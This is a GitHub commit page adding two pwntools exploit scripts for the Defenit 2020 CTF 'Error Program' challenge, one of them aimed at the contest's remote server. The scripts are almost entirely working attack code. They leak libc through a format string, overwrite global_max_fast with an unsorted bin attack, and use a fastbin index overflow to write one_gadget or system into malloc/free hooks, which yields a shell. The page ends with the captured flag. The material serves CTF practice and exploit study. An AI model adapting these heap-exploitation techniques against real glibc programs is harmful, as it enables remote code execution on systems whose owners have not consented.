Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly
Sign up
Appearance settings

Commit f566e7e

Browse files
committed
fastbin index overflow
1 parent 36a5592 commit f566e7e

File tree

5 files changed

+199
-0
lines changed

5 files changed

+199
-0
lines changed
9.98 KB
Binary file not shown.
210 KB
Binary file not shown.
1.94 MB
Binary file not shown.
Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,93 @@
1+
#!/usr/bin/env python3
2+
# -*- coding: utf-8 -*-
3+
4+
from pwn import *
5+
from time import sleep
6+
# context.log_level = "critical"
7+
context.log_level = "debug"
8+
context.binary = "./errorProgram"
9+
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
10+
libc.sym["main_arena"] = 0x3ebc40
11+
libc.sym["global_max_fast"] = 0x3ed940
12+
libc.sym["one_gadget"] = 0x10a38c
13+
14+
def add(idx, size):
15+
io.sendlineafter("YOUR CHOICE? : ", str(1))
16+
io.sendlineafter("INDEX? : ", str(idx))
17+
io.sendlineafter("SIZE? : ", str(size))
18+
19+
def free(idx):
20+
io.sendlineafter("YOUR CHOICE? : ", str(2))
21+
io.sendlineafter("INDEX? : ", str(idx))
22+
23+
def edit(idx, cont):
24+
io.sendlineafter("YOUR CHOICE? : ", str(3))
25+
io.sendlineafter("INDEX? : ", str(idx))
26+
io.sendafter("DATA : ", cont)
27+
sleep(0.01)
28+
29+
def show(idx):
30+
io.sendlineafter("YOUR CHOICE? : ", str(4))
31+
io.sendlineafter("INDEX? : ", str(idx))
32+
33+
def fsb(payload):
34+
io.sendlineafter("YOUR CHOICE? : ", str(2))
35+
io.sendafter("Input your payload : ", payload)
36+
sleep(0.01)
37+
38+
def bof(payload):
39+
io.sendlineafter("YOUR CHOICE? : ", str(1))
40+
io.sendafter("Input your payload : ", payload)
41+
sleep(0.01)
42+
43+
44+
45+
def DEBUG():
46+
cmd = '''
47+
bpie 0xFF0
48+
bpie 0xF68
49+
bpie 0x109A
50+
c
51+
'''
52+
gdb.attach(io, cmd)
53+
sleep(0.5)
54+
55+
56+
57+
io = process("./errorProgram")
58+
59+
fsb(cyclic(0x110, n = 8))
60+
libc.address = u64(io.recvuntil("\x7f")[-6: ] + b'0円0円') - libc.sym["_IO_2_1_stdout_"]
61+
print("libc @ {:#x}".format(libc.address))
62+
size = ((libc.address >> 32) & ~0xf) - 0x10
63+
print("size @ {:#x}".format(size))
64+
65+
# enter UAF
66+
io.sendlineafter("YOUR CHOICE? : ", "3")
67+
68+
add(0, 0x800)
69+
add(1, size)
70+
free(0)
71+
72+
# unsorted bin attack
73+
show(0)
74+
edit(0, flat(libc.sym["main_arena"] + 96, libc.sym["global_max_fast"] - 0x10))
75+
io.sendlineafter("YOUR CHOICE? : ", "9" * 0x400)
76+
77+
# fastbin attack
78+
DEBUG()
79+
free(1)
80+
81+
# edit(1, flat(libc.sym["__malloc_hook"] - 0x19c))
82+
edit(1, flat(libc.sym["__malloc_hook"] - 0x14))
83+
84+
add(2, size)
85+
add(3, size)
86+
edit(3, flat('0円' * 4, libc.sym["one_gadget"]))
87+
print("one_gadget @ {:#x}".format(libc.sym["one_gadget"]))
88+
89+
io.sendlineafter("YOUR CHOICE? : ", "9" * 0x400)
90+
# io.sendlineafter("YOUR CHOICE? : ", "5")
91+
92+
93+
io.interactive()

‎Defenit2020/Error Program/solve.py‎

Lines changed: 106 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,106 @@
1+
#!/usr/bin/env python3
2+
# -*- coding: utf-8 -*-
3+
4+
from pwn import *
5+
from time import sleep
6+
context.log_level = "critical"
7+
# context.log_level = "debug"
8+
context.binary = "./errorProgram"
9+
elf = context.binary
10+
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
11+
libc.sym["main_arena"] = 0x3ebc40
12+
libc.sym["global_max_fast"] = 0x3ed940
13+
libc.sym["one_gadget"] = 0x10a38c
14+
15+
def add(idx, size):
16+
assert 0x777 <= size <= 0x77777
17+
io.sendlineafter("YOUR CHOICE? : ", str(1))
18+
io.sendlineafter("INDEX? : ", str(idx))
19+
io.sendlineafter("SIZE? : ", str(size))
20+
21+
def free(idx):
22+
io.sendlineafter("YOUR CHOICE? : ", str(2))
23+
io.sendlineafter("INDEX? : ", str(idx))
24+
25+
def edit(idx, cont):
26+
io.sendlineafter("YOUR CHOICE? : ", str(3))
27+
io.sendlineafter("INDEX? : ", str(idx))
28+
io.sendafter("DATA : ", cont)
29+
sleep(0.01)
30+
31+
def show(idx):
32+
io.sendlineafter("YOUR CHOICE? : ", str(4))
33+
io.sendlineafter("INDEX? : ", str(idx))
34+
35+
def fsb(payload):
36+
io.sendlineafter("YOUR CHOICE? : ", str(2))
37+
io.sendafter("Input your payload : ", payload)
38+
sleep(0.01)
39+
40+
def bof(payload):
41+
io.sendlineafter("YOUR CHOICE? : ", str(1))
42+
io.sendafter("Input your payload : ", payload)
43+
sleep(0.01)
44+
45+
46+
47+
def DEBUG():
48+
cmd = '''
49+
bpie 0x109A
50+
bpie 0xF68
51+
c
52+
'''
53+
gdb.attach(io, cmd)
54+
sleep(0.5)
55+
56+
57+
58+
# io = process("./errorProgram")
59+
io = remote("error-program.ctf.defenit.kr", 7777)
60+
61+
fsb('0' * 0x110)
62+
io.recvuntil('0' * 0x110)
63+
libc.address = u64(io.recvn(6) + b'0円0円') - libc.sym["_IO_2_1_stdout_"]
64+
print("libc @ {:#x}".format(libc.address))
65+
# size = ((libc.address >> 32) & ~0xf) - 0x10
66+
# print("size @ {:#x}".format(size))
67+
fastbinY = libc.sym["main_arena"] + 0x10
68+
print("fastbinY @ {:#x}".format(fastbinY))
69+
__free_hook = libc.sym["__free_hook"]
70+
print("__free_hook @ {:#x}".format(__free_hook))
71+
idx = (__free_hook - fastbinY) // 8
72+
print("idx @ {}".format(idx))
73+
size = idx * 0x10 + 0x10
74+
print("size @ {:#x}".format(size))
75+
76+
77+
# enter UAF
78+
io.sendlineafter("YOUR CHOICE? : ", "3")
79+
80+
add(0, 0x800)
81+
add(1, size)
82+
free(0)
83+
84+
# unsorted bin attack
85+
# show(0)
86+
# libc.address = u64(io.recvuntil("\x7f")[-6: ] + b'0円0円') - libc.sym["main_arena"] - 96
87+
# print("libc @ {:#x}".format(libc.address))
88+
89+
edit(0, flat(libc.sym["main_arena"] + 96, libc.sym["global_max_fast"] - 0x10))
90+
io.sendlineafter("YOUR CHOICE? : ", "9" * 0x400)
91+
92+
# edit(0, flat(libc.sym["main_arena"] + 1008, libc.sym["main_arena"] + 1008))
93+
94+
free(1)
95+
edit(1, flat(libc.sym["system"]))
96+
# DEBUG()
97+
add(2, size)
98+
99+
edit(0, "/bin/sh")
100+
free(0)
101+
102+
io.interactive()
103+
104+
'''
105+
Defenit{1ntend:H0us3_0f_!@#$_and_us3_scanf}
106+
'''

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /